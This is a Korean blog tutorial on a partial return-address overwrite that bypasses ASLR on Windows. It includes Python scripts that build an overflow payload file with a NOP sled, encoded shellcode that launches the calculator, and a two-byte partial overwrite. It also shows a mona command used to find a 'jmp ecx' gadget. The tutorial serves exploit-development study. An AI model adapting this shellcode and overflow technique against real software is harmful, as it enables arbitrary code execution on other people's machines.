ii4gsp

부분 Overwrite 본문

시스템 해킹/Windows Pwnable

부분 Overwrite

ii4gsp 2020. 4. 22. 23:28

부분 Overwrite는 RET 주소를 변조 시 전체가 아닌 일부분만 덮어쓰는 기법으로 비슷한 기법으로는 FPO(Frame Pointer Overwrite) 기법이 있다.

ASLR이 적용된 프로그램에서 4바이트 메모리 주소 중 상위 2바이트만 랜덤하게 변경된다.

하위 1~3바이트만 변조해도 코드 영역의 주소 값을 이용할 수 있다.

 

 

 

 

import struct

dummy = "A" * 508
jmp = "\x41"
payload = dummy + jmp
f = open("test.txt","w")
f.write(payload)
f.close()

소스코드 작성 후 실행시켜 test.txt를 만들어주자.

 

 

 

 

프로그램에서 인자값으로 test.txt를 넣어주고 실행해보면 상위 2바이트는 코드 영역을 가리키고 있고 하위 1바이트는 원하는 값으로 변조할 수 있다.

 

 

 

ECX 레지스터가 버퍼의 주소를 가리키고있다.

ECX 레지스터를 이용하여 익스플로잇을 해보자.

 

 

 

 

!mona jmp -r ecx -m reader 명령어를 이용해서 유용한 코드의 주소를 찾아주자.

 

 

 

 

위에서 찾은 주소로 이동해보니 ECX의 값에 들어있는 주소에 4를 더한 후 해당 주소를 호출한다.

하위 2바이트만 0x1005로 변조해주면 된다.

 

 

 

 

import struct

shellcode  = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
"\x1c\x39\xbd"
)

nop = "\x90" * 50
dummy = "A" * (508-len(nop+shellcode))
jmp = "\x05\x10"
payload = nop + shellcode + dummy + jmp
 
f = open("test.txt","w")
f.write(payload)
f.close()

익스플로잇 코드를 작성해주자.

 

 

 

 

test.txt를 인자로 넣고 실행시키면 ASLR을 우회하고 계산기가 실행된다.

'시스템 해킹 > Windows Pwnable' 카테고리의 다른 글

CoolPlayer 2.19.2 Exploit (Local)  (0) 2020.12.30
Easy Chat Server 3.1 Exploit (RCE)  (0) 2020.12.30
Integer Overflow Exploit  (0) 2020.04.20
Virtual Table Overwrite  (0) 2020.04.19
Windows calc shellcode  (0) 2020.04.19
Comments